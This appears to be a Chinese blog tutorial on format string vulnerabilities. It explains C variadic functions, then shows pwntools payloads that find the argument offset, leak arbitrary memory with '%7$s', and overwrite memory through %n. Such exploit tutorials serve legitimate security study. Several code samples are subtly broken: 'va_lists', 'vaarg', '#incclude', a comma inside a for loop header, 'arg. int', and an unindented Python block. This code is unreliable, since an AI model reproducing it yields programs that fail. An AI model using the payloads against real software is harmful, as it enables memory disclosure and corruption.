格式化字符串

讨论格式化字符串漏洞的利用方式

Format string

前置知识:可变参数函数

处理可变参数函数的头文件:stdarg.h

核心组件:

  • 类型定义va_list
    • 作用:保存可变参数信息的上下文对象(本质是指向参数栈的指针)
    • 用法:
    1
    
    va_list args; //声明参数变量列表
    
  • 宏函数
    • va_start
      • 作用:初始化va_list,使其指向第一个可变参数
      • 访问参数前必须调用
    • va_arg
      • 作用:获取当前参数的值(返回值),并且移动至下一个参数
    • va_end
      • 作用:清理va_list资源
      • 访问结束后必须调用
    • va_copy(C99新增)
      • 作用:复制va_list的当前状态
      • 用于嵌套访问
  • 示例代码:
    • 实现自定义的printf函数
     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    
    #include<stdarg.h>
    
    void my_printf(const char* format, ...)
    {
      va_lists arg;
      va_start(arg, format);
    
      while(*format)
      {
          if(*format == '%')
          {
              format++;
              switch(*format)
              {
                  case'd':
                  {
                      int num = va_arg(arg, int);
                      print_int(num);
                      break;
                  }
                  case's':
                  {
                      char* str = vaarg(arg, char*);
                      print_str(str);
                      break;
                  }
              }
          }
          else
          {
              putchar(*format);
          }
          format++;
      }
    
      va_end(arg);
    } 
    
    • 实现多加数加法
     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    
    #incclude<stdarg.h>
    
    int add_multiple_values(int argcount, ...)
    {
      int counter, res = 0;
      va_list arg;
      va_start(arg, argcount);
      for(counter=0; counter<argcount, counter++)
      {
          res += va_arg(arg. int);
      }
      va_end(arg);
      return res;
    }
    

格式化字符串漏洞

核心原理

  • 格式化输出的栈上分布
    • 示例
      • 代码
      1
      
      printf("Color %s, Number %d, Float %4.2f", "red", 123456, 3.14);
      
      • 栈示意图

      printf

泄露内存

  • 核心思想: printf是依次打印栈上的数据,即可以通过printf("%x")直接打印栈上内容

泄露栈内存

以以下程序为例:

1
2
3
4
5
6
7
8
9
#include <stdio.h>
int main() {
  char s[100];
  int a = 1, b = 0x22222222, c = -1;
  scanf("%s", s);
  printf("%08x.%08x.%08x.%s\n", a, b, c, s);
  printf(s);
  return 0;
}

编译运行后有

1
2
3
%08x.%08x.%08x
00000001.22222222.ffffffff.%08x.%08x.%08x
ffcfc400.000000c2.f765a6bb

打印出了栈上后续三个字的值

泄露任意地址内存

  • 核心思想:利用%s访问的是栈上地址,将想要访问的地址写入栈上特定位置,然后使用%s访问输出
  • 详细操作步骤
    • Step1:确定偏移量(参数位置)
    1
    2
    
    payload = b"AAAA.%1$p.%2$p.%3$p.%4$p.%5$p.%6$p.%7$p"
    io.sendline(payload)
    
    输出示例
    1
    
    AAAA.0xffffd09c.0x100.0x80491fe.0xffffd144.0xf7fbe780.0xf7d93374.0x41414141
    
    观察到AAAA的十六进制值0x41414141出现在第7个位置。这个偏移量用于后面指定printf访问的参数位置
    • Step2:构造地址载荷
    1
    2
    
    target_addr = 0x804c02c  # 要泄露的地址
    payload = p32(target_addr)  # 打包为小端序
    
    • Step3:指定读取位置
    1
    
    payload += b"%7$s"  #使用步骤1确定的偏移量
    
    • Step4:选择读取方式
    • Step5:发送并解析数据
     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    
    # 发送完整payload
    payload = p32(target_addr) + b"%7$s"
    io.sendline(payload)
    
    # 接收输出
    output = io.recvuntil(b"done")  # 根据程序输出调整
    
    # 解析泄露数据
    leak_start = output.find(p32(target_addr)) + 4  # 跳过地址本身
    leaked_data = output[leak_start:-10]  # 去除尾部"id is...done"
    
    • Step6:清理输出
     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    
    # 接收并清理输出
    io.recvuntil(b"Address of id is 0x")  # 跳过提示
    addr_str = io.recvline().strip()     # 获取地址(可选)
    
    io.recvuntil(b"you typed: ")         # 跳过输入回显
    
    # 接收实际泄露数据
    leaked = io.recvuntil(b"\n", drop=True)
    
    # 处理二进制地址
    if leaked.startswith(p32(target_addr)):
    leaked = leaked[4:]  # 移除开头的地址副本
    

覆盖内存

  • 核心思想:利用%n
1
%n,将成功输出的字符个数写入对应的整型指针参数所指的变量。
  • 通用操作:构造特定长度的填充,将目标内容,即填充部分长度,写入目标地址。具体操作与泄露类似。
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计